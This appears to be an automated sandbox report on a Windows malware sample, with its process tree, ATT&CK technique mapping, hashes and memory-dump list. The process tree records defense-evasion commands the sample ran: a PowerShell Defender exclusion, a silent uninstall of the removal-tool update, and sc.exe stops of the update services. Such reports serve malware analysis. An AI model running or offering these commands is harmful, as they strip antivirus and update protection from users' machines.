C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3412

C:\ProgramData\bjxnephmfdtk\gwxqvlwwzfkr.exe
C:\ProgramData\bjxnephmfdtk\gwxqvlwwzfkr.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:3200
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2120
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:5056
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1560
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3240
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:3272
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3948
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4688
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:1884
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:3732
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1596
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5108
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:4972
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\ProgramData\bjxnephmfdtk\gwxqvlwwzfkr.exe

Filesize
2.7MB

MD5
6a3ab7ec2c4fd2d93a0f8fc2dc47f062

SHA1
3d5f8bd0d1bab522252ad49f832f1e0519a8b563

SHA256
558963a35ffa085be310eb2809db9c61d46e8b0637e9a2b9f0ca45ed9231b7fa

SHA512
2a57a51d0732384bdae7e0001651b9caf8440b622eea93ea70de1df6bd5dedd20e3d8d189d034c5328508ce19d85efea92673aad353e1b0637c8c708a7072467

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uevzsiyd.igf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/316-40-0x000001360AA60000-0x000001360AA8B000-memory.dmp

Filesize
172KB

Download
memory/316-41-0x00007FFCAF9B0000-0x00007FFCAF9C0000-memory.dmp

Filesize
64KB

Download
memory/552-10-0x000002AC0D600000-0x000002AC0D622000-memory.dmp

Filesize
136KB

Download
memory/552-11-0x00007FFCD0900000-0x00007FFCD13C1000-memory.dmp

Filesize
10.8MB

Download
memory/552-12-0x00007FFCD0900000-0x00007FFCD13C1000-memory.dmp

Filesize
10.8MB

Download
memory/552-15-0x00007FFCD0900000-0x00007FFCD13C1000-memory.dmp

Filesize
10.8MB

Download
memory/552-0-0x00007FFCD0903000-0x00007FFCD0905000-memory.dmp

Filesize
8KB

Download
memory/616-31-0x000001CDCFCB0000-0x000001CDCFCDB000-memory.dmp

Filesize
172KB

Download
memory/616-32-0x00007FFCAF9B0000-0x00007FFCAF9C0000-memory.dmp

Filesize
64KB

Download
memory/616-30-0x000001CDCFC80000-0x000001CDCFCA4000-memory.dmp

Filesize
144KB

Download
memory/672-38-0x00007FFCAF9B0000-0x00007FFCAF9C0000-memory.dmp

Filesize
64KB

Download
memory/672-37-0x00000221966D0000-0x00000221966FB000-memory.dmp

Filesize
172KB

Download
memory/744-47-0x000001FCF8380000-0x000001FCF83AB000-memory.dmp

Filesize
172KB

Download
memory/744-48-0x00007FFCAF9B0000-0x00007FFCAF9C0000-memory.dmp

Filesize
64KB

Download
memory/952-45-0x00007FFCAF9B0000-0x00007FFCAF9C0000-memory.dmp

Filesize
64KB

Download
memory/952-44-0x000002804BFD0000-0x000002804BFFB000-memory.dmp

Filesize
172KB

Download
memory/1020-56-0x000001D24A0E0000-0x000001D24A10B000-memory.dmp

Filesize
172KB

Download
memory/1020-57-0x00007FFCAF9B0000-0x00007FFCAF9C0000-memory.dmp

Filesize
64KB

Download
memory/1108-59-0x000001D029DD0000-0x000001D029DFB000-memory.dmp

Filesize
172KB

Download
memory/1108-60-0x00007FFCAF9B0000-0x00007FFCAF9C0000-memory.dmp

Filesize
64KB

Download
memory/1124-63-0x00007FFCAF9B0000-0x00007FFCAF9C0000-memory.dmp

Filesize
64KB

Download
memory/1124-62-0x000001FC2E360000-0x000001FC2E38B000-memory.dmp

Filesize
172KB

Download
memory/1136-66-0x00007FFCAF9B0000-0x00007FFCAF9C0000-memory.dmp

Filesize
64KB

Download
memory/1136-65-0x000001A570540000-0x000001A57056B000-memory.dmp

Filesize
172KB

Download
memory/1160-69-0x00007FFCAF9B0000-0x00007FFCAF9C0000-memory.dmp

Filesize
64KB

Download
memory/1160-68-0x000001F308370000-0x000001F30839B000-memory.dmp

Filesize
172KB

Download
memory/1264-71-0x0000019AFADA0000-0x0000019AFADCB000-memory.dmp

Filesize
172KB

Download
memory/1264-72-0x00007FFCAF9B0000-0x00007FFCAF9C0000-memory.dmp

Filesize
64KB

Download
memory/1276-75-0x0000019FE76B0000-0x0000019FE76DB000-memory.dmp

Filesize
172KB

Download
memory/1276-76-0x00007FFCAF9B0000-0x00007FFCAF9C0000-memory.dmp

Filesize
64KB

Download
memory/2120-333-0x00000160F9690000-0x00000160F96AC000-memory.dmp

Filesize
112KB

Download
memory/2120-335-0x00000160F96D0000-0x00000160F96EA000-memory.dmp

Filesize
104KB

Download
memory/2120-338-0x00000160F96C0000-0x00000160F96CA000-memory.dmp

Filesize
40KB

Download
memory/2120-337-0x00000160F96B0000-0x00000160F96B6000-memory.dmp

Filesize
24KB

Download
memory/2120-336-0x00000160F9680000-0x00000160F9688000-memory.dmp

Filesize
32KB

Download
memory/2120-334-0x00000160F9670000-0x00000160F967A000-memory.dmp

Filesize
40KB

Download
memory/2120-332-0x00000160F9520000-0x00000160F952A000-memory.dmp

Filesize
40KB

Download
memory/2120-331-0x00000160F9460000-0x00000160F9515000-memory.dmp

Filesize
724KB

Download
memory/2120-330-0x00000160F9440000-0x00000160F945C000-memory.dmp

Filesize
112KB

Download
memory/4176-17-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/4176-19-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/4176-27-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/4176-18-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/4176-16-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/4176-21-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/4176-22-0x00007FFCEF930000-0x00007FFCEFB25000-memory.dmp

Filesize
2.0MB

Download
memory/4176-23-0x00007FFCEE080000-0x00007FFCEE13E000-memory.dmp

Filesize
760KB

Download